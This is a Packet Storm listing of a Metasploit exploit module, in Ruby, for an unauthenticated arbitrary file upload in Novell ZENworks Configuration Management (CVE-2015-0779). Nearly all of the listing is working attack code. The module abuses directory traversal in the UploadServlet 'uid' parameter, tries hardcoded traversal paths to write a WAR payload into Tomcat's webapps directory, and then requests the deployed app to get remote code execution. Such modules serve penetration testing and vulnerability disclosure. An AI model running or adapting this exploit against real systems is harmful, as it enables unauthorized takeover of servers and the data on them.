Novell ZENworks Configuration Management Arbitrary File Upload

2015-05-04T00:00:00
ID PACKETSTORM:131750
Type packetstorm
Reporter Pedro Ribeiro
Modified 2015-05-04T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload',  
'Description' => %q{  
This module exploits a file upload vulnerability in Novell ZENworks Configuration  
Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in  
the UploadServlet which accepts unauthenticated file uploads and does not check the  
"uid" parameter for directory traversal characters. This allows an attacker to write  
anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat  
webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack.  
This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note  
that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a  
Metasploit exploit, but it abuses a different parameter of the same servlet.  
},  
'Author' =>  
[  
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2015-0779'],  
['OSVDB', '120382'],  
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'],  
['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21']  
],  
'DefaultOptions' => { 'WfsDelay' => 30 },  
'Privileged' => true,  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
[ 'Novell ZCM < v11.3.2 - Universal Java', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Apr 7 2015'))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL',  
[true, 'Use SSL', true]),  
OptString.new('TARGETURI',  
[true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']),  
OptString.new('TOMCAT_PATH',  
[false, 'The Tomcat webapps traversal path (from the temp directory)'])  
], self.class)  
end  
  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),  
'method' => 'GET'  
})  
  
if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Safe  
end  
  
  
def upload_war_and_exec(tomcat_path)  
app_base = rand_text_alphanumeric(4 + rand(32 - 4))  
war_payload = payload.encoded_war({ :app_name => app_base }).to_s  
  
print_status("#{peer} - Uploading WAR file to #{tomcat_path}")  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),  
'method' => 'POST',  
'data' => war_payload,  
'ctype' => 'application/octet-stream',  
'vars_get' => {  
'uid' => tomcat_path,  
'filename' => "#{app_base}.war"  
}  
})  
if res && res.code == 200  
print_status("#{peer} - Upload appears to have been successful")  
else  
print_error("#{peer} - Failed to upload, try again with a different path?")  
return false  
end  
  
10.times do  
Rex.sleep(2)  
  
# Now make a request to trigger the newly deployed war  
print_status("#{peer} - Attempting to launch payload in deployed WAR...")  
send_request_cgi({  
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),  
'method' => 'GET'  
})  
  
# Failure. The request timed out or the server went away.  
break if res.nil?  
# Failure. Unexpected answer  
break if res.code != 200  
# Unless session... keep looping  
return true if session_created?  
end  
  
false  
end  
  
  
def exploit  
tomcat_paths = []  
if datastore['TOMCAT_PATH']  
tomcat_paths << datastore['TOMCAT_PATH']  
end  
tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/'])  
  
tomcat_paths.each do |tomcat_path|  
break if upload_war_and_exec(tomcat_path)  
end  
end  
end  
`